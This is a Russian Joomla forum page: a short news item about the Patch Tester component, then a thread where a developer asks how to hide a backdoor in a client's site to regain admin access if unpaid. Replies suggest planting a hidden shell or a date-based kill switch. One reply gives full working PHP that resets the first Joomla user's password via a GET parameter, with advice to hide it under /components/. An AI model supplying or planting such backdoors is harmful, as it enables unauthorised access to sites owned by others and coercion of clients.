Новости Joomla

Как тестировать Joomla PHP-разработчику? Компонент Patch tester.

👩‍💻 Как тестировать Joomla PHP-разработчику? Компонент Patch tester.Joomla - open source PHP-фреймворк с готовой админкой. Его основная разработка ведётся на GitHub. Для того, чтобы международному сообществу разработчиков было удобнее тестировать Pull Requests был создан компонент Patch Tester, который позволяет "накатить" на текущую установку Joomla именно те изменения, которые необходимо протестировать. На стороне инфраструктуры Joomla для каждого PR собираются готовые пакеты, в которых находится ядро + предложенные изменения. В каждом PR обычно находятся инструкции по тестированию: куда зайти, что нажать, ожидаемый результат. Тестировщики могут предположить дополнительные сценарии, исходя из своего опыта и найти баги, о которых сообщить разработчику. Или не найти, и тогда улучшение или исправление ошибки быстрее войдёт в ядро Joomla. Напомню, что для того, чтобы PR вошёл в ядро Joomla нужны минимум 2 положительных теста от 2 участников сообщества, кроме автора. Видео на YouTubeВидео на VK ВидеоВидео на RuTubeКомпонент на GitHub https://github.com/joomla-extensions/patchtester@joomlafeed#joomla #php #webdev #community

0 Пользователей и 1 Гость просматривают эту тему.
  • 6 Ответов
  • 1396 Просмотров
*

nrc

  • Захожу иногда
  • 76
  • 2 / 1
  • новый русский кот
Привет, трудовой народ. Возникла потребность в подстраховке от неуплаты заказчика сайта. Можно ли на этапе создания, разработки и настройки сайта  внедрить некий файл в сайт/cms/хостинг, указав путь к которому у тебя появляется возможность зайти под администратором в панель управления. это на тот случай если заказчик полностью сменит доступы к хостингу и сайту. кто знает подобные решения? ну естественно чтобы было неимоверно трудно стороннему веб-программисту найти такую дыру.
*

nrc

  • Захожу иногда
  • 76
  • 2 / 1
  • новый русский кот
спасибо, хорошая темка!
*

gaalferov

  • Захожу иногда
  • 75
  • 9 / 0
  • ...
Самый правильный вариант - это конечно делать все у себя на хостинге, а только после 100% оплаты переносить на сайт заказчика.
Но бывают моменты, когда приходится, что-то доделывать прям на сайте у заказчика. То тогда используются не очень хорошие методы, а именно заливается где-то далеко-далеко шел. Либо самый безобидный, если заказчик не разбирается в программирование и цена вопроса менее 100$ просто поставить где-то if (текущая дата > даты последнего дня оплаты) { echo "Верни деньги ГАД :) "; exit; }
*

nrc

  • Захожу иногда
  • 76
  • 2 / 1
  • новый русский кот
да школьник такой код найдёт :), а вот как в ссылке выше надо делать - бэкдор :)
*

Shustry

  • Гуру
  • 6434
  • 745 / 3
Предоплата — гарант доверия.
*

bulls

  • Захожу иногда
  • 134
  • 3 / 0
Попробуй использовать скрипт востановления пароля. Не помню где взял но вот код;
Код
<?php
header('Content-Type: text/html; charset=utf-8');
//unset($_POST);

if (!isset($_GET['password'])) {
$body = form();
Temlplate($body);
} else {
$body = change();
Temlplate($body);
}

function Temlplate($body) {
$html = '
<!DOCTYPE html>
<html>
<head>
<title>Замена пароля в Joomla</title>
</head>
<body>'
.$body.
'</body>
</html>';
die($html);
}
function form() {
$html =
'<form action="'.basename(__FILE__).'" method="GET">
<label for="password">Введите значение нового пароля</label>
<input id="password" type="text" name="password" />
<button>Сменить</button>
</form>';
return $html;
}
function change() {
define('_JEXEC', 1);
define('JPATH_BASE', dirname(__FILE__));
define('JPATH_SITE', dirname(__FILE__));
define('JPATH_PLATFORM', JPATH_BASE . '/libraries');

if (file_exists(JPATH_PLATFORM.DIRECTORY_SEPARATOR.'import.php')) {
require_once JPATH_PLATFORM.DIRECTORY_SEPARATOR.'import.php';
jimport('joomla.user.helper');
} else {
return 'Библиотека Joomla не найдена!';
}
if (file_exists('configuration.php')) {
$app = JFactory::getConfig('configuration.php');
} else {
return 'Файл конфигурации не найден!';
}

$db = JFactory::getDbo();
$db->setQuery('SELECT id, username from #__users order by id LIMIT 1');
if (!$user = $db->loadObject()) {
return $db->getErrorMsg();
}

$password = $_GET['password'];
$salt  = JUserHelper::genRandomPassword(32);
$crypt = JUserHelper::getCryptedPassword($password, $salt);
$db->setQuery('UPDATE #__users set password = "'. $crypt.':'.$salt.'" WHERE id = '. (int) $user->id);
if (!$db->query()) {
return $db->getErrorMsg();
}

$html = '<p>Пароль усспешно обновлен! Детали учетной записи:</p><ul><li>Логин: '.$user->username.'</li><li>Пароль: '.$password.'</li></ul>';

if (!unlink(__FILE__)) {
$html .= '<p><strong>Внимание! Для безопасности файл - '.__FILE__.' должен быть удален с сервера!</strong></p>';
} else {
$html .= '<p>Файл '.__FILE__.' успешно удален</p>';
}

$html .= '<p><a href="administrator/index.php">Войти в панель управления Joomla</a></p>';

return $html;
}

?>
Обзови его по своему к примеру parol.php и закинь куда нибудь. Запомни путь потом его запросиш Сайт/components/parol.php
и меняй пароль на здоровье, но работает только 1 раз, потом переписывается.

Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

Убрать уровни подкатегорий в меню

Автор desaund1

Ответов: 0
Просмотров: 1379
Последний ответ 10.08.2017, 22:34:06
от desaund1
Изменить форму на главной ?

Автор warlocksp

Ответов: 2
Просмотров: 1231
Последний ответ 19.02.2017, 15:44:11
от warlocksp
Дублирование на сайте

Автор derenikp

Ответов: 3
Просмотров: 1355
Последний ответ 08.01.2017, 17:30:00
от derenikp
Переменная в ссылках.Не выполняется задаm

Автор ghostcom

Ответов: 25
Просмотров: 1642
Последний ответ 06.09.2016, 17:13:20
от ghostcom
ошибка "File for Model inventory not found"

Автор polgrig

Ответов: 0
Просмотров: 1394
Последний ответ 05.08.2016, 14:36:02
от polgrig